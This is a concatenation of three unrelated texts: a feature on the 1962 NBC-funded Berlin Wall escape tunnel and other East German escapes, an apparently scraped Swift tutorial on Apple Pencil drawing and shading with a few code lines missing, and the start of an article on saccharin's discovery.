At the same time, the diggers were asking around in media circles whether anyone might stump up some money. Eventually, they met Piers Anderton and brought him to see the tunnel. He was impressed and went straight back to his boss, Reuven Frank, to ask if he’d agree to fund them. Reuven said yes: NBC would give the diggers money for tools and materials (limited to $7,500) and in return, NBC would have the right to film everything. And with that, Reuven Frank had just made one of the most controversial decisions in the history of TV news: a top American news network had agreed to fund a group of students building an escape tunnel under the Berlin Wall.
A hot-shot NBC executive had an idea: what if he were to tell an escape story? and what if he could film it as it was happening?
By the end of June 1962, thanks to the NBC money, the group of student diggers (now around 12 of them) had dug almost all the way to the border between East and West Berlin. The tunnel was now looking very hi-tech, with Joachim its chief inventor. In the NBC footage you see the electric lights that he strung up, as well as the motorised cart that whizzed along the rails.
Soon the tunnellers were under the death strip, a section of land next to the wall patrolled by guards on the look-out for tunnels. “They had special listening devices that they’d put on the ground,” says Joachim. “If they heard something, they’d dig a hole and fire a gun into it or throw in dynamite.”
Double trouble
But it wasn’t the guards that did the first bit of major damage to the tunnel: it was a leak from a burst pipe. They bucketed out gallons of water, and eventually managed to get the pipe fixed, but it would take months for the tunnel to dry out. They were now stuck: tunnellers without a tunnel. Then they heard about another tunnel which had been dug into the East, but had been abandoned by its crew. Though the diggers had left, the students organising the escape were still around. They asked Joachim and the others if they’d be up for helping. They could combine their lists of escapees and get them all through at the same time. “It seemed too perfect an opportunity to pass up,” says Joachim. “We were a group of diggers without a tunnel, and here was a tunnel that needed diggers.”
On 7 August 1962, they were ready to go. They’d dug the final few metres right up to a cottage in the East and they’d been sending out messengers to tell the escapees that the tunnel was ready. One of these messengers was a hairdresser. His name? Siegfried Uhse. Remember, he’d been asked to look for escape-helpers in the West, and he’d found some. In other words, the escape operation that Joachim was now part of was being watched by the Stasi. A Stasi file records how Siegfried Uhse told his handler the details: “The breakthrough would happen between 4pm and 7pm,” he said. “One hundred people were expected.” The Stasi were now onto the biggest escape operation so far from West Berlin. They sent “soldiers, an armoured personnel carrier and a water cannon” to a base near the cottage, as well as plainclothes Stasi agents. The trap was set.
Back at the tunnel, Joachim and two of the other diggers were preparing to break into the cottage. They crawled to the end of the tunnel, carrying axes, hammers, pistols and an old Second World War machine gun. As they started hacking into the cottage, escapees were arriving, ready to crawl through the tunnel. They had no idea they were surrounded by Stasi agents. One by one they were bundled into cars and driven away.
The escapees had no idea they were surrounded by Stasi agents. they were bundled into cars and driven away
Joachim and the other two diggers were now climbing into the living room, unaware that soldiers were standing just outside the door. Stasi files from that day reveal how the soldiers were just about to burst in when they heard one of the tunnellers mention “a machine gun”. They waited for back-up: their Kalashnikovs were no match for machine guns from West Germany. Then Joachim and the others heard a message over their radio, telling them the operation had been blown. They jumped down into the tunnel and started crawling back into the West. A few minutes later, the soldiers’ back-up arrived and they rushed into the room, jumping down into the tunnel. It was empty; they were too late. But they weren’t empty handed; they had dozens of prisoners to interrogate.
Prisoners of the Stasi
That night, everyone arrested at the tunnel was taken to Hohenschönhausen prison, a former Soviet jail now run by the Stasi. Prisoners weren’t allowed to talk to each other and in their cells, they had no control over anything: the light switch was on the outside, as was the button to flush the loo. Everything was designed to make the inmates feel powerless. The transcripts of their interrogations show they were long: running more than 12 hours at a time with no food or breaks. Most of them eventually confessed, giving up the details of their part in the escape tunnel. After their show trials, many of them were sent to prison, which could mean years of hard labour as well as time in solitary confinement.
Back in West Berlin, the diggers had decided to try again. By early September, the first tunnel they’d dug had dried out and so they set an escape date: 14 September 1962. That afternoon, Joachim and Hasso, one of the other diggers, crawled to the end of the tunnel and hacked a hole into the cellar of No 7 Schonholzer Strasse. Meanwhile one of the girlfriends of the diggers, a 21-year-old called Ellen Schau, had volunteered to go into the East to give out the final signals to the escapees. As a West German passport holder, she could go in and out of the East when she liked. When she got there, she had to go to three different pubs to give the signals to the escapees waiting there. In the first one, she ordered matches, in the second, she ordered water. In the third pub, she was meant to order coffee but it had run out. “It was a terrible moment,” she says. “How could I give the signal if the pub didn’t have any coffee?” Instead, she complained loudly about the coffee, and then ordered a cognac (at least they both begin with the same letter.) She just had to hope that the escapees all understood her signals: that the tunnel was ready.
Gripping their guns
As Ellen returned to West Berlin, groups of people walked towards the apartment with the tunnel underneath it. Joachim and Hasso were waiting for them in the cellar, guns in their hands. Just after 6pm, they heard footsteps. “We stood there, hardly breathing, gripping our guns tightly,” says Joachim. The door opened and there was a woman, Eveline Schmidt. She was with her husband and their two-year-old daughter. “It was dark,” remembers Eveline. “There was just one lamp by the entrance. One of the tunnellers took my baby and then I started crawling.”
At the other end, in the West, the two-man NBC film crew were standing at the top of the shaft that led to the tunnel. When you look at the footage, for a long time you see nothing: and then a white handbag appears. Then there’s a hand, and then, finally, you see Eveline. She’s covered in mud and barefoot. She’s lost her shoes in the tunnel. It’s taken her 12 minutes to crawl through. As she reaches the top of the ladder, she collapses. One of the NBC cameramen helps her to a bench and then a tunneller brings her child to her. She bundles her into her arms, nuzzling the nape of her neck.
Over the next hour, more people come through the tunnel: the diggers’ friends and family. One of them, Claus, a butcher who’d escaped from the East, helps a woman through, only to realise it’s his wife, Inge. He hasn’t seen her since they were separated while escaping a year ago. She was caught by border guards and imprisoned while pregnant with his child. Then Claus hears a noise from the tunnel: it’s a baby, dressed in white, carried by one of the tunnellers. He’s only five months old. It’s his son, born in a communist prison camp. Claus takes him in his arms, holding him for the first time.
Back at the other end of the tunnel, Joachim is still in the cellar. He’s stayed there, at the most dangerous point of the tunnel till the very end. Twenty-nine people have made it through and he knows it’s time to go. “So many things went through my head,” he says. “All the things we’d gone through digging it. The leaks, the electric shocks, the mud, the blisters on our hands. Seeing all those refugees come through, I felt the most incredible happiness.” There’s one final bit of footage from that night: the escapees walk, one by one, to the door. They push it open and disappear into West Berlin.
But that’s not the end of the story. A few months later, the documentary aired on NBC. Although President Kennedy’s White House tried to block it (fearing a diplomatic incident with the US), Reuven Frank persuaded the network to run it and 18 million people tuned in. It was described as “without parallel” in television history. The tunnellers heard that Kennedy himself watched it and that he was moved to tears. Some of the diggers then went on to build other tunnels (including the Channel Tunnel), and in the East, Siegfried Uhse was given one of the Stasi’s top medals for infiltrating the tunnel.
What, then, about Joachim? A few years after the escape, he fell in love with Eveline, the first woman who came through the tunnel. Her marriage had broken up and they fell for each other. Ten years after he rescued her, he married her. On the wall of their apartment today, there’s a pair of shoes that he found in the tunnel after everyone had gone home. They belonged to Annett, Eveline’s daughter. And so the tunnel that Joachim built, which brought 29 refugees from the East, also brought him a family.
Before it was pulled down 30 years ago – on 9 November 1989 – at least 140 people were killed or died at the Berlin Wall. But while the wall has gone, the idea hasn’t. Right now, all over the world, walls are being built, not just in the United States, but in India, Turkey, Morocco, Norway. The reasons for building them are different. But Joachim says there’s one thing they have in common. “Wherever there’s a wall, people will try to get over it – or under it.”
Great escapes: 5 other audacious bids to flee East Germany
High-wire act
Horst Klein was a trapeze artist living in East Berlin. He’d been banned from performing (for being anti-communist) and in 1962, he told a local newspaper that “he couldn’t live any longer without the smell of a circus”. In December 1962, he climbed an electricity pole near the wall and made his way onto a cable, hanging on it from both arms. Steadily, he inched his way into the West, moving one hand over the other. Just as he made it over the border, his arms gave way and he fell from the cable, breaking both his arms. But he recovered and performed again.
Booze cruise
On 7 June 1962, 13 young East Berliners boarded an excursion boat. They’d brought alcohol with them for a “party”, and they plied the captain and mechanic with it until they passed out. The group then locked them in a cabin and hijacked the boat. They steered it towards West Berlin, under machine gun fire from East German border guards. When it reached the riverbank, West Berlin policemen fired shots back into the East to protect the group, and under that cover, the escapees jumped ashore.
Armoured breakout
On 17 April 1963, 19-year old Wolfgang Engels climbed into a stolen Soviet armoured personnel carrier and drove it to the border between East and West Berlin. He tried to smash it through the wall, but the vehicle got stuck in the barbed wire. As he lay there, trapped, an East German border guard approached him. Wolfgang pleaded “don’t shoot!” but the border guard shot him anyway. “The bullet went in through my back and out the front,” he said. Incredibly, Wolfgang Engels managed to climb out of the car, over the bonnet and into the West. He was severely injured, but he’d escaped.
Runaway train
Harry Deterling was a train engineer. He lived in East Berlin with his wife, Ingrid, and their four sons and he’d wanted to escape ever since the wall went up. He’d heard that there were some train lines that still connected to the West but that they were soon to be dismantled, so he knew he had to act fast. In December 1961, he told his bosses he wanted to run an extra train to improve his engineering skills. They said yes, and at 7.33pm on 5 December (his birthday), he, his family and some friends boarded locomotive 234 and Harry then steered it onto a disused track. There were 32 passengers – not all of them would-be escapees. At 8:50pm, he drove the train past Albrechtshof, the last station in East Berlin, without stopping, then disconnected the safety brake. A few minutes later, the train and its passengers crossed the border into the West. The next day that railway line was cut off.
Up, up and away
One night, Hans Strelczyk, a former aircraft mechanic, was watching a TV programme about the history of ballooning. It gave him an idea. He’d long wanted to escape East Germany: perhaps this could be the way? With his friend Gunter Wetzel, he built a hot-air balloon engine from four old propane cylinders. Their wives stitched the balloon together out of pieces of old canvas and bedsheets. On 16 September 1979 the two couples and their four children floated over the border at 2,400 metres. They landed in Bavaria in a blackberry thicket.
Helena Merriman is a journalist and broadcaster. She is the presenter of the 10-part BBC Radio 4 series Tunnel 29, which airs from Monday 21 October.
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Home iOS & Swift Tutorials
Apple Pencil Tutorial: Getting Started
In this Apple Pencil tutorial, you’ll learn about force, touch coalescing, altitude, and azimuth, to add realistic lines and shading to a drawing app.
Note: Updated for Xcode 7.3, iOS 9.3, and Swift 2.2 on 04-01-2016
I know that many of you have got yourself a gorgeous new iPad Pro and snagged a Pencil to go along with it.
If you’re anything like me, once you’ve experienced the awesomeness of drawing with Pencil, you’ll want to include support for it in all of your apps.
I’ve been waiting for something like this device since I purchased the original iPad. As you’ll see from my scribbles, I’m no Rembrandt, but I’ve found Pencil is also great for taking notes. I can only imagine what kinds of amazing works of art people will create now that there is Apple Pencil.
In this Apple Pencil tutorial, you’re going to learn exactly what it takes to support Pencil. Here are the key things you’ll learn:
• How to work with force
• How to improve accuracy
• How to implement shading behavior
• How to add an eraser
• How to improve the experience by working with predictive and actual drawings
By the end of this tutorial, you’ll be ready to integrate Apple Pencil support into your apps!
To follow along with this tutorial, you’ll need:
• An iPad Pro and Apple Pencil. You cannot test Pencil on the simulator. Also, Pencil doesn’t work with older iPads, just the iPad Pro. Sounds like you’ve got your excuse for an upgrade!
• At least Xcode 7.1 with at least iOS 9.1.
• A basic familiarity with Core Graphics. You’ll need to know what contexts are, how to create them and how to draw strokes. Have a look at the first part of our Core Graphics tutorial — that will be plenty to get you up to speed, and the app will remind you to drink water. :]
Getting Started
Throughout this Apple Pencil tutorial, you’ll build an app called Scribble. It’s a simple app that lets you draw with responsive UI, e.g. pressure sensitivity and shading.
Download and explore Scribble. Try it out on your iPad Pro, with both Pencil and your finger, making sure to rest your hand on the screen as you draw.
You’ll see that unlike previous iPads, palm rejection is automatic, although you’ll have to be careful to rest a large area of your hand because smaller areas are read as touches.
Apple Pencil Tutorial
Shake the iPad to clear the screen — just like an Etch-A-Sketch!
Under the hood, Scribble is a basic app that consists of a canvas view that captures the touch from finger or Pencil. It also continuously updates the display to reflect your touch.
Take a look at the code in CanvasView.swift.
The most important code can be found in touchesMoved(_:withEvent:), which is triggered when the user interacts with the canvas view. This method creates a Core Graphics context and draws the image displayed by the canvas view into that context.
touchesMoved(_:withEvent:) then calls drawStroke(_:touch:) to draw a line into the graphics context between the previous and current touch.
touchesMoved(_:withEvent:) replaces the image displayed by the canvas view with the updated one from the graphics context.
See? It’s pretty simple. :]
Your First Drawing with Pencil
Drawing with your finger has never been elegant, even in a digital environment. Pencil makes it much more like drawing the old analog way, with the basic UI of a pencil and paper.
You’re now ready to use the first feature of the Pencil — force. When you press harder against the screen the resulting stroke is wider. This feature doesn’t work with your finger, although there is a little cheat that you’ll learn about later.
Force amount is recorded in touch.force. A force of 1.0 is the force of an average touch so you need to multiply this force by something to produce the right stroke width. More on that in a moment…
Open CanvasView.swift, and at the top of the class add the following constant:
private let forceSensitivity: CGFloat = 4.0
You can tweak this forceSensitivity constant to make your stroke width more or less sensitive to pressure.
Find lineWidthForDrawing(_:touch:). This method calculates the line width.
Just before the return statement, add the following:
if touch.force > 0 {
lineWidth = touch.force * forceSensitivity
Here you calculate the line width by multiplying the force of the touch with the forceSensitivity multiplier, but remember this only applies to Pencil and not to a finger. If you’re using your finger, touch.force will be 0, so you can’t change the stroke width.
Build and run. Drawn some lines with Pencil and notice how the stroke varies depending on how hard you press down on the screen:
Apple Pencil Tutorial
Smoother Drawing
You’ll notice that when you draw, the lines have sharp points rather than a natural curve. Before Pencil, you had to do complex things like convert your strokes to spline curves to make drawings look decent, but Pencil makes this sort of workaround largely unnecessary.
Apple tells us that the iPad Pro scans for a touch at 120 times per second, but when the Pencil is near the screen the scan rate doubles to 240 times per second.
The iPad Pro’s refresh rate is 60 Hz, or 60 times per second. This means that with a scan of 120 Hz it could theoretically recognize two touches but only display just one. In addition, if there’s a lot of processing behind the scenes, the touch event could be missed altogether on certain frames because the main thread is occupied and unable to process it.
Try drawing a circle quickly. It should be round, but the result is more akin to the jagged points of a polygon:
Apple Pencil Tutorial
Apple came up with the concept of coalesced touches to deal with this problem. Essentially, they capture the touches that would have been lost in a new UIEvent array, which you can access via coalescedTouchesForTouch(_:).
Find touchesMoved(_:withEvent:) in CanvasView.swift and replace:
drawStroke(context, touch: touch)
With the following:
// 1
var touches = [UITouch]()
// 2
if let coalescedTouches = event?.coalescedTouchesForTouch(touch) {
touches = coalescedTouches
} else {
// 3
// 4
for touch in touches {
drawStroke(context, touch: touch)
Let’s go through this section by section.
1. First, you set up a new array to hold all the touches you’ll have to process.
2. Check for coalesced touches, and if they are there, you save them all to the new array. If there aren’t any, you just add the one touch to the existing array.
3. Add a log statement to see how many touches you’re processing.
4. Finally, instead of calling drawStroke(_:touch:) just once, you call it for every touch saved in the new array.
Build and run. Draw some fancy curlicues with your Pencil and revel in buttery smoothness and stroke width control:
Apple Pencil Tutorial
Turn your attention to the debug console. You’ll notice that when you’re drawing with Pencil rather than your finger, you receive many more touches.
You’ll also notice that even with coalesced touches, circles drawn with Pencil are much rounder simply because the iPad Pro scans for touches twice as often when it senses Pencil.
Tilting the Pencil
Now you have lovely fluent drawing in your app. However, if you’ve read or watched any reviews of the Apple Pencil, you’ll remember there was talk of its pencil-like shading abilities. All the users need do is tilt it, but little do they realize that shading doesn’t happen automatically — it’s all down to us clever app developers to write the code that makes it work as expected. :]
Altitude, Azimuth and Unit Vectors
In this section, I’ll describe how you measure the tilt. you’ll get to add support for simple shading in the next section.
When you’re working with Pencil, you can rotate it in three dimensions. Up and down direction is called altitude, while side-to-side is called azimuth:
Apple Pencil Tutorial
The altitudeAngle property on UITouch is new to iOS 9.1, and is there just for the Apple Pencil. It’s an angle measured in radians. When Pencil lies flat on the iPad’s surface, the altitude is 0. When it stands straight up with the point on the screen, the altitude is π/2. Remember that there are radians in a 360 degrees circle, so π/2 is equivalent to 90 degrees.
There are two new methods on UITouch to get azimuth: azimuthAngleInView(_:) and azimuthUnitVectorInView(_:). The least expensive is azimuthUnitVectorInView(_:), but both are useful. The best one for your situation depends on what you need to calculate.
You’ll explore how the azimuth’s unit vector works. For reference, a unit vector has a length of 1 and points from the coordinate (0,0) towards a direction:
Apple Pencil Tutorial
To see for yourself, add the following at the top of touchesMoved(_:withEvent:), just after the guard statement:
Build and run. With the iPad in landscape orientation — Scribble is landscape only to keep this tutorial focused on Pencil — hold your pen so that the point is touching on the left side of the screen, and the end is leaning right.
You won’t be able to get these values in the debug console with satisfactory precision, but the vector is approximately 1 unit in the x direction and 0 units in the y direction — in other words (1, 0).
Rotate Pencil 90 degrees counter-clockwise so the tip is pointing towards the bottom of the iPad. That direction is approximately (0, -1).
Note that x direction uses cosine and the y direction uses sine. For example, if you hold your pen as in the picture above — about 45 degrees counter-clockwise from your original horizontal direction — the unit vector is (cos(45), sin(-45)) or (0.7071, -0.7071).
Note: If you don’t know a lot about vectors, it’s a useful bit of knowledge to pursue. Here’s a two-part tutorial on Trigonometry for Games using Sprite Kit that will help you wrap your head around vectors.
Remove that last print statement when you understand how changing the direction of Pencil gives you the vector that indicates where it’s pointing.
Draw With Shading
Now that you know how to measure tilting, you’re ready to add simple shading to Scribble.
When Pencil is at a natural drawing angle, you draw a line by using force to determine the thickness, but when the user tilts it on its side, you use force to measure the shading’s opacity.
You’ll also calculate the thickness of the line based upon the direction of the stroke and the direction in which you’re holding the Pencil.
If you’re not quite following me here, just go find a pencil and paper to try shading by turning the pencil on its side so that the lead has maximum contact with the paper. When you shade in the same direction as the pencil is leaning, the shading is thin. But when you shade at a 90 degree angle to the pencil, the shading is at its thickest:
Apple Pencil Tutorial
Working With Texture
The first order of business is to change the texture of the line so that it looks more like shading with a real pencil. The starter app includes an image in the Asset Catalog called PencilTexture to use for this.
Add this property to the top of CanvasView:
private var pencilTexture = UIColor(patternImage: UIImage(named: "PencilTexture")!)
This will allow you to use pencilTexture as a color to draw with, instead of the default red color you’ve used up until now.
Find the following line in drawStroke(_:touch:):
And change it to:
Build and run. Hey presto! Your lines now look much more like a pencil’s lines:
Apple Pencil Tutorial
Note: In this tutorial, you’re using a texture in a rather naive way. Brush engines in full-featured art apps are far more complex, but this approach is enough to get you started.
To check that Pencil is tilted far enough to initiate shading, add this constant to the top of CanvasView:
private let tiltThreshold = π/6 // 30º
If you find that this value doesn’t work for you because you hold it differently, you can change its value to suit.
Note: To type π hold down Option + P at the same time. π is a convenience constant defined at the top of CanvasView.swift as CGFloat(M_PI).
When programming graphics, it’s important to start thinking in radians rather than converting to degrees and back again. Take a look at this image from Wikipedia to see the correlation between radians and degrees.
Next, find the following line in drawStroke(_:touch:):
let lineWidth = lineWidthForDrawing(context, touch: touch)
And change it to:
var lineWidth:CGFloat
if touch.altitudeAngle < tiltThreshold {
lineWidth = lineWidthForShading(context, touch: touch)
} else {
lineWidth = lineWidthForDrawing(context, touch: touch)
Here you're adding a check to see if your Pencil is tilted more than π/6 or 30 degrees. If yes, then you call the shading method rather than the drawing method.
Now, add this method to the bottom of CanvasView:
private func lineWidthForShading(context: CGContext?, touch: UITouch) -> CGFloat {
// 1
let previousLocation = touch.previousLocationInView(self)
let location = touch.locationInView(self)
// 2 - vector1 is the pencil direction
let vector1 = touch.azimuthUnitVectorInView(self)
// 3 - vector2 is the stroke direction
let vector2 = CGPoint(x: location.x - previousLocation.x, y: location.y - previousLocation.y)
// 4 - Angle difference between the two vectors
var angle = abs(atan2(vector2.y, vector2.x) - atan2(vector1.dy, vector1.dx))
// 5
if angle > π {
angle = 2 * π - angle
if angle > π / 2 {
angle = π - angle
// 6
let minAngle: CGFloat = 0
let maxAngle = π / 2
let normalizedAngle = (angle - minAngle) / (maxAngle - minAngle)
// 7
let maxLineWidth: CGFloat = 60
var lineWidth = maxLineWidth * normalizedAngle
return lineWidth
There's some complex math in there, so here's a play-by-play:
1. Store the previous touch point and the current touch point.
2. Store the azimuth vector of the Pencil.
3. Store the direction vector of the stroke that you're drawing.
4. Calculate the angle difference between stroke line and the Pencil direction.
5. Reduce the angle so it's 0 to 90 degrees. If the angle is 90 degrees, then the stroke will be the widest. Remember that all calculations are done in radians, and π/2 is 90 degrees.
6. Normalize this angle between 0 and 1, where 1 is 90 degrees.
7. Multiply the maximum line width of 60 by the normalized angle to get the correct shading width.
Note: Whenever you're working with Pencil, the following formulae come in handy:
Angle of a vector: angle = atan2(opposite, adjacent)
Normalize: normal = (value - minValue) / (maxValue - minValue)
Build and run. Hold Pencil at about the angle indicated in the picture, as is you're going to shade. Without changing the angle, do a little shading.
Apple Pencil Tutorial
Notice how as the stroke direction changes it becomes wider and narrower. It's a bit blobby here with this naive approach, but you can definitely see the potential.
Using Azimuth to Adjust Width
One more thing to do: When you draw at 90 degrees with a real pencil, the line gets narrower as you change the pencil's tilt angle. But, if you try that with your Apple Pencil, the line width stays the same.
In addition to the azimuth angle, you also need to take into Pencil's altitude into account when calculating the width of the line.
Add this constant to the top of the CanvasView class, just below the others:
private let minLineWidth: CGFloat = 5
This will be the narrowest that a shading line can be -- you can change it to suit your own personal shading tastes. :]
At the bottom of lineWidthForShading(_:touch:), just before the return statement, add the following:
// 1
let minAltitudeAngle: CGFloat = 0.25
let maxAltitudeAngle = tiltThreshold
// 2
let altitudeAngle = touch.altitudeAngle < minAltitudeAngle ? minAltitudeAngle : touch.altitudeAngle
// 3
let normalizedAltitude = 1 - ((altitudeAngle - minAltitudeAngle) / (maxAltitudeAngle - minAltitudeAngle))
// 4
lineWidth = lineWidth * normalizedAltitude + minLineWidth
Note: Make sure you add this code to lineWidthForShading(_:touch:), and not lineWidthForDrawing(_:touch:) by mistake.
There's a lot to digest here, so let's take this bit by bit.
1. Theoretically, the minimum altitude of Pencil is 0 degrees, meaning it's lying flat on the iPad and the tip isn't touching the screen, hence, altitude can't be recorded. The actual minimum altitude is somewhere around 0.2, but I've made the minimum to be 0.25.
2. If the altitude is less than the minimum, you use the minimum instead.
3. Just like you did earlier, you normalize this altitude value to be between 0 and 1.
4. Finally, you multiply the line width you calculated with the azimuth by this normalized value, and add that to the minimum line width.
Build and run. As you shade, change the Pencil's altitude and see how the strokes get wider and narrower. Increasing the Pencil's altitude gradually should let you segue smoothly into the drawing line:
Apple Pencil Tutorial
Playing with Opacity
The last task in this section is to make the shading look a bit more realistic by turning down the texture's opacity, which you'll calculate with force.
Just before the return statement in lineWidthForShading(_:touch:), add the following:
let minForce: CGFloat = 0.0
let maxForce: CGFloat = 5
let normalizedAlpha = (touch.force - minForce) / (maxForce - minForce)
CGContextSetAlpha(context, normalizedAlpha)
After working through the previous blocks of code, this one should be self-explanatory. You're simply taking the force and normalizing it to a value between 0 and 1, and then setting the alpha used by the drawing context to that value.
Build and run. Try shading with varying pressure:
Finger vs. Pencil
If you're anything like me, you've probably made a few sketching errors here and there and wish you could erase those errant lines.
In this section, you're going to look at how you can distinguish between using the Apple Pencil and your finger. More specifically, you'll configure the app so that your finger can play the role of a faithful eraser.
It turns out that checking whether a finger or the Apple Pencil is being used is pretty easy -- you just use the type property on UITouch.
At the top of CanvasView, add a property for the eraser color. You're going to paint in the background color of the canvas view, and it will give the illusion of acting as an eraser. Clever, eh? :]
private var eraserColor: UIColor {
return backgroundColor ?? UIColor.whiteColor()
Here you set eraserColor to the view's background color, unless it's nil, in which case you just set it to white.
Next, find the following code in drawStroke(_:touch:):
if touch.altitudeAngle < tiltThreshold {
lineWidth = lineWidthForShading(context, touch: touch)
} else {
lineWidth = lineWidthForDrawing(context, touch: touch)
And replace it with the following:
if touch.type == .Stylus {
if touch.altitudeAngle < tiltThreshold {
lineWidth = lineWidthForShading(context, touch: touch)
} else {
lineWidth = lineWidthForDrawing(context, touch: touch)
} else {
lineWidth = 20
Here you've added a check to see whether it's Pencil or a finger, and if it's the latter you change the line width and use the eraser color for drawing.
Build and run. Now you can clean up any untidy edges or erase everything with your finger!
Apple Pencil Tutorial
Faking Force For a Finger
Just as an aside, did you know that since iOS 8 you've been able to fake force with your finger? There's a property declared on UITouch called majorRadius, which, as its name implies, holds the size of the touch.
Find this line that you just added in the previous code block:
lineWidth = 20
And replace it with this one:
lineWidth = touch.majorRadius / 2
Build and run. Shade a dark area, and then erase with both the tip of your finger and the flat of your finger to see the varying thicknesses:
Apple Pencil Tutorial
Finger painting feels really clumsy and the drawings are painful after you've played around with the elegant Apple Pencil. :].
Reducing Latency
You might think that your Pencil zooms over the surface of the iPad with the drawn line following closer than ever. Not so much -- it's an illusion because there is latency between the touch and the time the line renders. Apple has a trick up its sleeve to deal with it: Touch Prediction.
Incredible as it may seem, all-seeing Apple knows where your Pencil, or finger, is about to draw. Those predictions are saved into an array on UIEvent so that you can draw that predicted touch ahead of time. How cool is that!? :]
Before you can begin working with predicted touches, there's one small technical obstacle to overcome. At the moment, you're drawing strokes in the graphics context, which are then displayed immediately in the canvas view.
You'll need to draw the predicted touches onto the canvas but discard them when the actual touches catch up with the predicted ones.
For example, when you draw an S-shape it predicts the curves, but when you change direction, those predictions will be wrong and need to be discarded. This picture illustrates the problem. The "S" is drawn in red and the predicted touches show in blue.
Here's what your code will need to do to avoid this problem:
1. You'll create a new UIImage property named drawingImage to capture the true -- not predicted -- touches from the graphics context.
2. On each touch move event, you'll draw drawingImage into the graphics context.
3. The real touches will be drawn into the graphics context, and you'll save it to the new drawingImage instead of using the image property on the canvas view.
4. The predicted touches will be drawn into the graphics context.
5. The graphics context, complete with predicted touches, will be pushed into canvasView.image, which is what the user will see.
In this way, no predicted touches will draw into drawingImage and each time a touch move event occurs, the predictions will be deleted.
Housekeeping: Deleting Drawing Predictions
There's a little housekeeping in order to ensure those predicted touches are properly disposed of at the end of the stroke or when the user cancels the drawing.
Add a new UIImage property at the top of the CanvasView to hold the proper drawn image -- the one without predictions:
private var drawingImage: UIImage?
Next, find the following statement in touchesMoved(_:withEvent:):
And replace it with the following:
Here you're drawing drawingImage into the graphics context, rather than the image being displayed at that time by the canvas view. This will overwrite any predicted touches drawn by the previous move event.
Now, at the bottom of touchesMoved(_:withEvent:), but just above these lines:
image = UIGraphicsGetImageFromCurrentImageContext()
Add this new code:
// 1
drawingImage = UIGraphicsGetImageFromCurrentImageContext()
// 2
if let predictedTouches = event?.predictedTouchesForTouch(touch) {
for touch in predictedTouches {
drawStroke(context, touch: touch)
Here's what's happening in there:
1. You save the graphics context with the new stroke that's been drawn but don't include the predicted strokes.
2. Like you did with the coalesced touches, you get the array of predicted touches and draw the strokes for each predicted touch.
Now add these two methods:
image = drawingImage
image = drawingImage
These are called at the end of a stroke. By replacing the image with drawingImage when a touch ends or is cancelled, you're discarding all the predicted touches that were drawn onto the canvas.
One last thing: You'll need to clear both the canvas and the true drawing when you shake to clear.
In CanvasView.swift, in clearCanvas(animated:), locate this code inside the animation closure:
self.image = nil
Add this statement straight after that line:
self.drawingImage = nil
Now a little bit further in that same method, locate:
image = nil
and add this code after it:
drawingImage = nil
Here you clear both images of any drawing that you've done.
Build and run. Draw some squiggles and curves. You may notice that you're drawing all the touches that Apple predicted you might make, and consequently perceived latency is reduced. You may need to watch closely because it's very subtle. :]
Apple Pencil Tutorial
Note: When you run the second code sample at the end of this tutorial, you'll be able to visualize what predicted touches actually do. You'll see an option to replace the texture with a blue color just for the predicted touches.
Apple's algorithm for predicted touches is astonishingly good. It's the little subtleties like this one that make it a pleasure to develop for Apple platforms.
Where To Go From Here?
Congratulations! You have now completed a simple drawing app where you can scribble and enjoy getting artsy with your Pencil. :] You can download the finished project to see the final result.
You did some pretty awesome things and learned about the following:
• Smoothing lines and shapes so they look natural
• Working with altitude and azimuth
• Implementing drawing and shading
• Adding and working with texture
• Adding an eraser
• Working with predictive data and what to do when it's not used
I'm also providing a second project that has buttons to turn coalesced and predicted touches on or off, so that you can visualize their effects.
Apple's WWDC video on touches has a great section on how coalesced and predicted touches work with the 60 Hz frame rate. Watch it to see how latency has improved from 4 frames in iOS 8 to 1.5 frames in iOS 9.1. Pretty spectacular!
FlexMonkey (aka Simon Gladman) has done some really creative things with the Pencil that go well beyond just drawing with it. Take a look at his blog, especially the Pencil Synthesizer and FurrySketch.
I hope you enjoyed this Apple Pencil tutorial - I'd love to see as many apps as possible integrating this very cool device. If you have any questions or comments please join the forum discussion below!
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By Jesse Hicks | May 2, 2010
Single-serve packets of sugar and sugar substitutes
You see them in almost every restaurant: those small paper packets, blue, yellow, or pink, emblazoned Equal, Splenda, or Sweet’N Low. In a little over 50 years artificial sweeteners have become a ubiquitous part of the dining experience. Where diners once found a sugar bowl, they’re now more likely to find a multicolored collection of single-serving chemicals.
One compound blazed a trail for other artificial sweeteners: saccharin. Three hundred times sweeter than sugar, with no apparent side effects, it was touted to consumers as the gateway to a world of sweetness without consequences. Over time the saccharin story grew more complicated; while the substance remained unchanged, perceptions of it have undergone almost alchemical shifts. In its 130-year history saccharin has been a laboratory accident, a wonder drug, a dangerous carcinogen, and a consumer cause célèbre.
The story of saccharin’s rise, its long reign as king of the artificial sweeteners, and its eventual decline illustrates a central tension within the American consumer’s psyche. When a company claims its product improves on nature, many consumers happily declare the product an example of scientific progress. Equally powerful, though, is the inclination toward skepticism—a wary eye for “faster, better, more” claims. From the beginning consumers and regulators wondered whether saccharin was too good to be true, whether its sweetness could truly be harmless. That underlying fear has never completely gone away despite the widespread use of artificial sweeteners today. The story of saccharin is a story of chemistry outside the lab, where things get complicated.
Discovery and Commercialization: The Early Years of Saccharin
Saccharin (C7H5NO3S) was discovered in 1878 in the Johns Hopkins University laboratory of Ira Remsen, a professor of chemistry. At age 21 Remsen had graduated with honors from the College of Physicians and Surgeons at Columbia University, earning an M.D. He soon abandoned his medical career to pursue chemistry, first at the University of Munich, then at the University of Göttingen, where he studied with Rudolph Fittig and began research on the oxidation of toluene isomers.
In Fittig’s lab Remsen also studied sulfobenzoic acids, eventually publishing 75 papers on these and related compounds, laying the groundwork for the discovery of benzoic sulfinide—saccharin. Remsen returned to the United States in 1876—bringing with him influential German ideas about chemistry education—and accepted a professorship at Johns Hopkins. There he continued his research on the oxidation of methylated sulfobenzoic acids and their amides.
In 1877 a Russian chemist named Constantin Fahlberg was hired by the H.W. Perot Import Firm in Baltimore. Fahlberg studied sugar, while H.W. Perot imported sugar. The company enlisted him to analyze a sugar shipment impounded by the U.S. government, which questioned its purity. H.W. Perot also hired Remsen, asking him to provide a laboratory for Fahlberg’s tests. After completing his analyses and while waiting to testify at trial, Fahlberg received Remsen’s permission to use the lab for his own research. Working alongside Remsen’s assistants, Fahlberg found the lab a friendly place. In early 1878 Remsen granted Fahlberg’s request to take part in the institute’s research.
